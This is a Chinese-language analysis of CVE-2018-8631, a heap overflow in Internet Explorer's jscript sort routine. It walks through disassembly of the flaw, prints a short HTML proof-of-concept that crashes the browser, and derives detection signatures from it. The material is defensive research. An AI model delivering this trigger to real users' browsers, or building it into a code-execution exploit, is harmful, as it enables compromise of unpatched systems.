CVE-2018-8631 Microsoft Internet Explorer jscript JsArrayFunctionHeapSort 堆溢出漏洞分析
前言
最近IE又爆出一个高危漏洞,根据微软官方描述,该漏洞可以实现远程代码执行,编号CVE-2019-1367。受影响的系统版本包括:Windows 10、Windows 8.1、Windows 7、Windows Server 2012/R2、Windows Server 2008、Windows Server 2016、Windows Server 2019的IE11版本,Windows Server 2012的IE10版本以及Windows Server 2008的IE9版本。
从描述信息来看,该漏洞威力巨大,但目前尚未公开可利用的EXP,给广大用户时间及时更新安全补丁。
经初步分析,攻击者可利用该漏洞诱使用户访问恶意网页触发漏洞从而获得当前用户的所有权限,进而安装恶意程序,增加、删除、更改或查看数据,可造成业务瘫痪、敏感数据泄漏等。
漏洞详细信息及修复地址为:
https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2019-1367
本着温旧知新的态度,找到了一个2018年的IE漏洞,简单分析一下,等新漏洞的EXP出来就可以分析新的了。
漏洞简述
CVE-2018-8631,微软IE浏览器的一个jscript解析错误导致堆溢出的一个漏洞,利用难度低,危害大,而且影响面广,值得关注。
官方给出的描述:
Microsoft Internet Explorer中存在一个堆缓冲区溢出漏洞。 此漏洞是由于在处理HTML和脚本代码时处理某些对象时出错。
远程攻击者可以通过诱使目标用户打开特制的网页或文档来利用此漏洞。 在最坏的情况下,成功的利用可能在目标用户的安全上下文中导致任意代码执行。
漏洞影响软件版本及系统
IE浏览器:
- Microsoft Internet Explorer 9
- Microsoft Internet Explorer 10
- Microsoft Internet Explorer 11
操作系统:
- Microsoft Windows 7
- Microsoft Windows 8.1
- Microsoft Windows RT 8.1
- Microsoft Windows 10
- Microsoft Windows Server 2008
- Microsoft Windows Server 2008 R2
- Microsoft Windows Server 2012
- Microsoft Windows Server 2012 R2
- Microsoft Windows Server 2016
- Microsoft Windows Server 2019
基本是通杀了当下流行的所有系统版本。
信息搜集
漏洞触发文件:jscript.dll动态连接库文件
漏洞触发函数:jscript!JsArrayFunctionHeapSort
漏洞触发数据对象:一个基于堆的缓冲区
漏洞分析
知识背景
Microsoft Internet Explorer(IE)是一个Web浏览器应用程序,能够呈现静态和动态Web内容,例如显示HTML页面,下载文件,解析各种图像格式,运行不同类型的多媒体内容以及使用各种插件打开不同的文件格式。IE包含对脚本语言JavaScript(可用于与DOM交互)的支持。
文档对象模型(DOM)是一种跨平台,独立于语言的约定,用于表示HTML,XHTML和XML文档中的对象并与之交互。可以根据用于操作DOM的对象的语法和规则来指定和寻址DOM下的对象。在DOM应用程序API中指定了用于编程和与DOM交互的规则。可以在IE中使用JavaScript来访问和修改网页的基础DOM。 HTML,CSS和“编写” DOM的功能一起构成了动态HTML(DHTML)。
在JavaScript中,函数是一流的对象,因为它们可以像其他任何对象一样具有属性和方法。它们与其他对象的区别在于可以调用/调用功能。函数声明的示例如下:
x = function myFunc(theObject) {
theObject.brand = "Toyota";
}
Function.prototype属性表示Function原型对象[1]。 所有JavaScript对象都从原型继承属性和方法。 Function.prototype的属性包括Function.prototype.arguments,Function.prototype.caller,Function.prototype.length,Function.prototype.name和Function.prototype.constructor。
函数调用可以通过多种方式来完成[2]。 如果函数调用前面带有new关键字,则它是构造函数调用。 看起来是创建了一个新函数,但是由于JavaScript函数是对象,因此实际上是创建了一个新对象:
function myFunction(arg1, arg2) {
this.firstName = arg1;
this.lastName = arg2;
}
var x = new myFunction("John", "Doe");
函数的call()方法使用给定的值和参数调用该函数:
func.call(obj, arg1, arg2); //effectively does obj.func(arg1, arg2)
func.call(null, arg1, arg2); //effectively does func(arg1, arg2)
apply()方法类似于call()方法,不同之处在于,参数是以数组格式提供[3]:
func.apply(obj, [arg1, arg2]); //effectively does obj.func(arg1, arg2)
func.apply(null, [arg1, arg2]); //effectively does func(arg1, arg2)
Array对象用于将多个值存储在单个变量中,例如:
var cars = ["Saab", "Volvo", "BMW"];
数组对象实现了许多可以在数组上调用的方法,包括sort()方法[4]。 sort()方法对数组中的元素进行适当排序并返回该数组。 默认的排序顺序是基于将元素转换为字符串,然后比较其UTF-16代码单元值的序列而建立的。 sort()方法的语法如下:
arr.sort([compareFunction])
其中compareFunction参数指定一个定义排序顺序的函数。 如果省略,则根据每个字符的Unicode代码点值,以及每个元素的字符串转换,对数组进行排序。
arguments是函数内部可访问的类似数组的对象,其中包含传递给该函数[5]的参数的值,例如:
function func1(a, b, c) {
console.log(arguments[0]);
// expected output: 1
console.log(arguments[1]);
// expected output: 2
}
func1(1, 2);
漏洞复现
我们首先构造一个受害主机,此处使用Windows7 x64 sp1,然后IE版本为
IE8。然后直接使用浏览器打开我们的POC,发现浏览器直接崩溃。(对于POC的分析和模拟攻击后续会介绍)
这里需要注意,在使用IE打开poc时,会提示是否启用ActiveX。
一般情况下对于安全性未知的控件是不要打开的。但根据实际情况,大部分人是直接无视该提示,直接选择启用。
在启用ActiveX控件后,IE直接崩溃:
漏洞分析
Microsoft Internet Explorer的Javascript引擎中存在一个堆缓冲区溢出漏洞。处理具有以下特征的JavaScript代码时,将发生此漏洞:
- 定义了函数A,该函数利用apply()或call()方法调用sort()方法,并提供“compare”函数作为sort()方法的输入。
- 函数A的原型设置为另一个函数B中的arguments对象。
- 使用功能B中的“new”关键字来调用功能A。
- 函数被调用时带有2个或3个参数。
在这种情况下,将在jscript!JsArrayFunctionHeapSort函数中分配基于堆的缓冲区,其中缓冲区的大小将基于输入数组中元素的数量。如果将函数A原型分配给函数B的arguments对象,则将在jscript!JsArrayFunctionHeapSort函数中输入一个循环,其中将该arguments对象的属性复制到先前分配的基于堆的缓冲区中。如果使用2或3个参数调用功能B,则进入循环。
在循环中,由于输入数组和参数对象的属性数量不匹配,指向分配缓冲区的指针将越界移动,并且在jscript!NameTbl::GetValCore中发生越界写入,导致堆缓冲区溢出。
远程攻击者可以通过诱使目标用户打开特制的网页来利用此漏洞。成功的利用可能导致攻击者在受害用户的安全上下文中执行任意代码,危险性很大。
所使用的代码版本为jscript.dll version 5.8.9600.19178,逆向jscript!JsArrayFunctionHeapSort如下:
69fcd60f 8b7d10 mov edi,dword ptr [ebp+10h] ;输入对象中的参数个数
69fcd612 81ffaaaaaa0a cmp edi,0AAAAAAAh
69fcd618 0f87e2820000 ja jscript!JsArrayFunctionHeapSort+0x36d (69fd5900)
69fcd61e 8bc7 mov eax,edi
69fcd620 c1e002 shl eax,2
69fcd623 50 push eax
69fcd624 ff15fc40026a call dword ptr [jscript!_imp__malloc (6a0240fc)]
69fcd62a 59 pop ecx
69fcd62b 8bc8 mov ecx,eax
69fcd62d 894dd4 mov dword ptr [ebp-2Ch],ecx
69fcd630 894da8 mov dword ptr [ebp-58h],ecx
69fcd633 85c9 test ecx,ecx
69fcd635 0f84c5820000 je jscript!JsArrayFunctionHeapSort+0x36d (69fd5900)
69fcd63b 6bdf18 imul ebx,edi,18h ;基于输入对象种的参数个数计算出buffer/array的size
69fcd63e 53 push ebx
69fcd63f ff15fc40026a call dword ptr [jscript!_imp__malloc (6a0240fc)];buffer/array内存分配
6789d67a 8b550c mov edx,dword ptr [ebp+0Ch]
6789d67d 8bc2 mov eax,edx ;eax中存放的是arguments对象中的elements,edi中存放输入对象中的参数个数
6789d67f d1e8 shr eax,1
6789d681 3bf8 cmp edi,eax ;在此处,如果arguments对象中的参数个数为2或者3,将进入发生访问冲突的循环
6789d683 0f826b820000 jb jscript!JsArrayFunctionHeapSort+0x35a (678a58f4)
69fcd692 8d5308 lea edx,[ebx+8] ;缓冲区中的指针增加,并在此处输入循环
69fcd695 8b75d8 mov esi,dword ptr [ebp-28h]
69fcd698 8b06 mov eax,dword ptr [esi]
69fcd69a 8bfc mov edi,esp
69fcd69c 52 push edx
69fcd69d 51 push ecx
69fcd69e 8b706c mov esi,dword ptr [eax+6Ch]
69fcd6a1 8bce mov ecx,esi
69fcd6a3 ff153843026a call dword ptr [jscript!__guard_check_icall_fptr (6a024338)]
69fcd6a9 8b4dd8 mov ecx,dword ptr [ebp-28h]
69fcd6ac ffd6 call esi ;调用jscript!NameTbl::GetVal,该函数调用了jscript!NameTbl::GetValCore
69fcd6d6 41 inc ecx ;increment counter
69fcd6d7 8b550c mov edx,dword ptr [ebp+0Ch]
69fcd68b 894ddc mov dword ptr [ebp-24h],ecx ss:0023:04eaa7f0=00000000
69fcd68e 3bca cmp ecx,edx ;循环
69fcd690 736a jae jscript!JsArrayFunctionHeapSort+0x113 (69fcd6fc)
jscript!NameTbl::GetValCore函数:
678ba099 8b4d0c mov ecx,dword ptr [ebp+0Ch]
678ba09c 8b02 mov eax,dword ptr [edx]
;缓冲区发生溢出或者进行越界写
678ba09e 8901 mov dword ptr [ecx],eax ds:0023:0be09008=????????
此漏洞已经有公开的exp,故此处直接给出poc的具体代码。
<html>
<head>
<meta http-equiv="x-ua-compatible" content="IE=7">
<title>Trend Micro Security Research PoC</title>
</head>
<body>
<script language="Jscript.Encode">
x = function () {
Array.prototype.sort.apply(this, [function(a, b) { return b - a;}]);
}
y = function () {
x.prototype = arguments;
new x();
}
new y("trend", 4, 2);
</script>
</body>
</html>
攻击场景分析
根据上面的分析,如果攻击者企图进行攻击,需要受害者打开一个特制的文档,而这种实现一般是通过钓鱼或者发送恶意邮件,诱骗受害者主动打开攻击者构造的恶意文档,实现攻击。如今的钓鱼网站一般都是只要打开链接就自动访问并下载、打开攻击者构造的文档,也就是说,只要访问了攻击者的恶意链接,就会中招。
虽然现在大家的网络安全意识普遍比之前有了显著的提高,但对于一些高级的社会工程攻击仍然不具备良好的辨别能力,因此认定该漏洞仍然具有较高的影响力,需要引起重视。
而且在一些政企部门,使用的操作系统相对较为老旧,版本更新停滞,软件的安全更新得不到足够的重视,在现如今APT攻击手段成熟的情况下,很容易遭受恶意组织的攻击。
流量分析
此处简单模拟了一下访问恶意网站然后下载恶意文档的流程,进行抓包分析:
从数据包中可以明显看出,受害者下载下来攻击者构造的恶意文档后,文档中的js代码进行了执行,从而触发漏洞,导致浏览器崩溃。
检测思路
了解攻击的目的是为了更好的防御,下面就根据上面的分析过程简单说一下防御思路:
为了检测此漏洞,检测设备必须监控传输的HTML页面的各种元素,并且能够解析JavaScript代码。但是我们容易发现,根据上面的分析记过,由于此漏洞的特殊性,无法可靠地检测基于此漏洞的所有攻击,也就是入侵检测中常说的通防。那这种情况下,我们只能是根据已经发现的EXP和POC进行特征提取,然后进行定向防御。
通过之前的分析我们知道,针对此漏洞的恶意HTML文件可能包含具有以下功能的脚本代码:
- 定义了一个函数x,该函数利用apply()或call()方法调用sort()方法,并提供“compare”函数作为sort()方法的输入,例如,
x = function () { Array.prototype.sort.apply(this, [function(a, b) {return b - a;}]); }
- 将函数x的原型设置为另一个函数y中的arguments对象,并使用“new”关键字调用函数x。例如:
y = function () { x.prototype = arguments; new x(); }
- 函数y由2或3个参数调用。例如:
y("trend", 4, 2);
上述条件均为攻击流量中需要包含的,如果在数据包中同时检测到上述所有条件,则应该怀疑该流量为攻击流量,甚至攻击正在进行。
但需要注意,由于易受攻击的代码中相互依赖关系的复杂性,可能会存在触发此漏洞的其他向量。同样,由于脚本语言的性质,攻击者也可能使用各种脚本技术来混淆代码的真正意图,而且当下的混淆技术极容易实现。此外必须以区分大小写的方式对JavaScript脚本代码中的对象和方法名称进行字符串匹配。上述思路只是可能可行的一种检测思路,虽然不能通防,但总比不防的好一点。
总结
针对该漏洞的分析基本到此为止,也是为分析CVE-2019-1367做一个简单的预热。需要引起重视的是,目前针对浏览器的攻击层出不穷,而且影响力越来越大,伴随着社会工程的成熟,利用浏览器漏洞进行更大范围攻击的攻击技术将快速发展。为了安全着想,还是希望广大用户可以及时更新安全补丁,宁可麻烦一点,总比受到损失的好。
参考链接
[1] Function.prototype, https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Function/prototype
[2] Invoking a function, https://www.w3schools.com/js/js_function_invocation.asp
[3] apply(), https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Function/apply
[4] sort(), https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array/sort
[5] arguments object, https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Functions/arguments